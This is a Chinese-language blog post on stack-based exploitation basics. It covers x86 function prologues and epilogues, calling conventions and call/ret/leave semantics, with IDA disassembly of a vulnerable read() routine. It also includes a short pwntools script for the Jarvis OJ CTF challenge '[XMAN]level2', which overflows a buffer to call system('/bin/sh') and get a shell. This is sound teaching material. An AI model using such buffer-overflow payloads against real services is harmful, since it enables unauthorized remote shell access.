ret2syscall

发表于 | 更新于

ROP 原理：

主函数通过__cdcall方式进行函数压栈：

PUSH PART2

PUSH PART1

主函数通过call指令完成指令转移：

call(

PUSH EIP

JUMP NEXT

)

子函数开辟堆栈空间：

PUSH EBP

MOV EBP, ESP

SUB ESP, 80H

子函数清空栈空间并返回上级函数栈空间：

LEAVE(

MOV ESP,EBP

POP EBP

)

子函数通过RET指令完成指令跳转：

RET(

POP EIP

)

具体如图所示：

ROP

例题：

Jarvis：[XMAN]level2

nc pwn2.jarvisoj.com 9878

level2.54931449c557d0551c4fc2a10f4778a1

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# p = process('./level2')
p = remote('pwn2.jarvisoj.com',9878)
elf = ELF("./level2")
system_addr = elf.plt["system"]
# binsh_addr = elf.plt["/bin/sh"]
binsh_addr = 0x0804A024
payload = 'a'*0x8c  + p32(system_addr) + 'juck'  + p32(binsh_addr) # 中间的junk就是用来填充system_ret用的。
p.send(payload)
p.interactive()
p.close()

调用方式总结

调用约定 堆栈清除 参数传递
__cdcall 调用者 从右到左，通过堆栈传递
__stdcall 函数体 从右到左，通过堆栈传递
__fastcall 函数体 从右到左，优先使用寄存器(ECX，EDX)，然后使用堆栈
thiscall 函数体 this指针默认通过ECX传递，其他参数从右到左入栈

一个例子

1
2
3
4
5
6
7
8
9
10
11
12
#include   
void foo(int x, int y, int z)   
{   
printf("x = %d at [%X]n", x, &x);   
printf("y = %d at [%X]n", y, &y);   
printf("z = %d at [%X]n", z, &z);   
}   
int main(int argc, char *argv[])   
{   
foo(100, 200, 300);   
return 0;   
}

运行结果： 

1
2
3
x = 100 at [BFE28760] 
y = 200 at [BFE28764] 
z = 300 at [BFE28768]

第二个例子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
.text:08048480
.text:08048480 ; =============== S U B R O U T I N E =======================================
.text:08048480
.text:08048480 ; Attributes: bp-based frame
.text:08048480
.text:08048480 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048480                 public main
.text:08048480 main            proc near               ; DATA XREF: _start+17↑o
.text:08048480
.text:08048480 var_4           = dword ptr -4
.text:08048480 argc            = dword ptr  8
.text:08048480 argv            = dword ptr  0Ch
.text:08048480 envp            = dword ptr  10h
.text:08048480
.text:08048480 ; __unwind {
.text:08048480                 lea     ecx, [esp+4]
.text:08048484                 and     esp, 0FFFFFFF0h
.text:08048487                 push    dword ptr [ecx-4]
.text:0804848A                 push    ebp
.text:0804848B                 mov     ebp, esp
.text:0804848D                 push    ecx
.text:0804848E                 sub     esp, 4
.text:08048491                 call    vulnerable_function
.text:08048496                 sub     esp, 0Ch
.text:08048499                 push    offset aEchoHelloWorld ; "echo 'Hello World!'"
.text:0804849E                 call    _system
.text:080484A3                 add     esp, 10h
.text:080484A6                 mov     eax, 0
.text:080484AB                 mov     ecx, [ebp+var_4]
.text:080484AE                 leave
.text:080484AF                 lea     esp, [ecx-4]
.text:080484B2                 retn
.text:080484B2 ; } // starts at 8048480
.text:080484B2 main            endp
.text:080484B2
.text:080484B2 ; ---------------------------------------------------------------------------

.text:0804844B
.text:0804844B ; =============== S U B R O U T I N E =======================================
.text:0804844B
.text:0804844B ; Attributes: bp-based frame
.text:0804844B
.text:0804844B                 public vulnerable_function
.text:0804844B vulnerable_function proc near           ; CODE XREF: main+11↓p
.text:0804844B
.text:0804844B buf             = byte ptr -88h
.text:0804844B
.text:0804844B ; __unwind {
.text:0804844B                 push    ebp				; 保存上一个栈帧的基址
.text:0804844C                 mov     ebp, esp			; 设置新一个栈帧的基址
.text:0804844E                 sub     esp, 88h			; 开辟栈帧空间
.text:08048454                 sub     esp, 0Ch			; ？？？
.text:08048457                 push    offset command  	; "echo Input:" 压入第一个参数
.text:0804845C                 call    _system			; call指令转移 push eip; jump next
.text:08048461                 add     esp, 10h			; 主函数清空参数
.text:08048464                 sub     esp, 4			; ???	
------------------------------------------函数调用-----------------------------------------
.text:08048467                 push    100h            	; nbytes压入第三个参数
.text:0804846C                 lea     eax, [ebp+buf]	; 获取buf地址
.text:08048472                 push    eax             	; buf 压入第二个参数
.text:08048473                 push    0               	; fd 压入第一个参数
.text:08048475                 call    _read			; call指令转移 push eip; jump next
.text:0804847A                 add     esp, 10h			; 主函数清空参数 正好请调四个压入栈的32															位数
------------------------------------------------------------------------------------------------------------------------------------函数返回----------------------------------------
.text:0804847D                 nop
.text:0804847E                 leave					; leave指令清空MOV ESP,EBP; POP EBP															 返回上一个栈帧
.text:0804847F                 retn						; POP EIP 继续主函数未完成的指令
.text:0804847F ; } // starts at 804844B
.text:0804847F vulnerable_function endp
.text:0804847F

为什么函数参数要自右向左压栈？

C程序栈底为高地址，栈顶为低地址，因此上面的实例可以说明函数参数入栈顺序的确是从右至左的。

进一步发现，C语言支持可变长参数，而C语言支持这种特色，正是这个原因使得C语言函数参数入栈顺序为从右至左。通过栈堆分析可知，自左向右的入栈方式，最前面的参数被压在栈底。除非知道参数个数，否则是无法通过栈指针的相对位移求得最左边的参数。这样就变成了左边参数的个数不确定，正好和动态参数个数的方向相反。 (如果是从右往左进栈，根据栈后进先出的特性，靠左的参数离栈顶越近，在进入新函数栈帧后，EBP+8位函数的第一次个参数，EBP+12位函数的第二个参数)

__stdcall与C调用约定(__cdecl)的区别

C调用约定在返回前,要作一次堆栈平衡,也就是参数入栈了多少字节,就要弹出来多少字节.这样很安全.

有一点需要注意:stdcall调用约定如果采用了不定参数,即VARARG的话,则和C调用约定一样,要由调用者来作堆栈平衡.

  1. __stdcall是Pascal方式清理C方式压栈，通常用于Win32 Api中，函数采用从右到左的压栈方式，自己在退出时清空堆栈。VC将函数编译后会在函数名前面加上下划线前缀，在函数名后加上”@”和参数的字节数。 int f(void *p) –>> _f@4(在外部汇编语言里可以用这个名字引用这个函数)

​ 在WIN32 API中,只有少数几个函数,如wspintf函数是采用C调用约定,其他都是stdcall

  1. C调用约定（即用__cdecl关键字说明）（The C default calling convention）按从右至左的顺序压参数入栈，由调用者把参数弹出栈。对于传送参数的内存栈是由调用者来维护的（正因为如此，实现可变参数vararg的函数(如printf)只能使用该调用约定）。另外，在函数名修饰约定方面也有所不同。 _cdecl是C和C＋＋程序的缺省调用方式。每一个调用它的函数都包含清空堆栈的代码，所以产生的可执行文件大小会比调用_stdcall函数的大。函数采用从右到左的压栈方式。VC将函数编译后会在函数名前面加上下划线前缀。
  2. __fastcall调用的主要特点就是快，因为它是通过寄存器来传送参数的（实际上，它用ECX和EDX传送前两个双字（DWORD）或更小的参数，剩下的参数仍旧自右向左压栈传送，被调用的函数在返回前清理传送参数的内存栈），在函数名修饰约定方面，它和前两者均不同。__fastcall方式的函数采用寄存器传递参数，VC将函数编译后会在函数名前面加上”@”前缀，在函数名后加上”@”和参数的字节数。
  3. thiscall仅仅应用于”C++”成员函数。this指针存放于CX/ECX寄存器中，参数从右到左压。thiscall不是关键词，因此不能被程序员指定。
  4. naked call。 当采用1-4的调用约定时，如果必要的话，进入函数时编译器会产生代码来保存ESI，EDI，EBX，EBP寄存器，退出函数时则产生代码恢复这些寄存器的内容。 (这些代码称作 prolog and epilog code,一般，ebp,esp的保存是必须的). 但是naked call不产生这样的代码。naked call不是类型修饰符，故必须和_declspec共同使用。

关键字 stdcall、cdecl和fastcall可以直接加在要输出的函数前。它们对应的命令行参数分别为/Gz、/Gd和/Gr。缺省状态为/Gd，即cdecl。

要完全模仿PASCAL调用约定首先必须使用stdcall调用约定，至于函数名修饰约定，可以通过其它方法模仿。还有一个值得一提的是WINAPI宏，Windows.h支持该宏，它可以将出函数翻译成适当的调用约定，在WIN32中，它被定义为stdcall。使用WINAPI宏可以创建自己的APIs。

call、ret指令，本质上还是汇编『跳转指令』，它们都用于修改IP，或同时修改CS和IP；这两个指令经常被用来实现子程序的设计

ret指令和retf指令

ret指令用栈中的数据，修改IP的内容，从而实现近转移
retf指令用栈的数据，修改CS和IP的内容，从而实现远转移

CPU执行ret指令时，相当于进行：

1
pop IP

CPU执行retf指令时，相当于进行：

1
2
pop IP
pop CS

call指令

当执行call指令时，进行两步操作：

  1. 将当前的IP或CS和IP压入栈中
  2. 转移

call指令不能实现短转移，它的书写格式同jmp指令

依据标号进行转移的call指令

1
2
语法格式：call 标号 
汇编解释：(1) push IP  (2) jmp near ptr 标号

依据目的地址在指令中的call指令

1
2
语法格式：call far ptr 标号
汇编解释：(1) push CS  (2) push IP  (3) jmp far ptr 标号

转移地址在寄存器中的call指令

1
2
语法格式：call 16位reg
汇编解释：(1) push IP  (2) jmp 16位reg

转移地址在内存中的call指令

1
2
3
4
5
语法格式一：call word ptr 内存单元地址
汇编解释一：(1) push IP  (2) jmp word ptr 内存单元地址

语法格式二：call dword ptr 内存单元地址
汇编解释二：(1) push CS  (2) push IP  (3) jmp dword ptr 内存单元地址

leave

1
2
3
4
5
6
7
8
在16位汇编下相当于:
mov sp,bp
pop bp
在32位汇编下相当于:
mov esp,ebp
pop ebp
/* leave指令将EBP寄存器的内容复制到ESP寄存器中，
以释放分配给该过程的所有堆栈空间。然后，它从堆栈恢复EBP寄存器的旧值。*/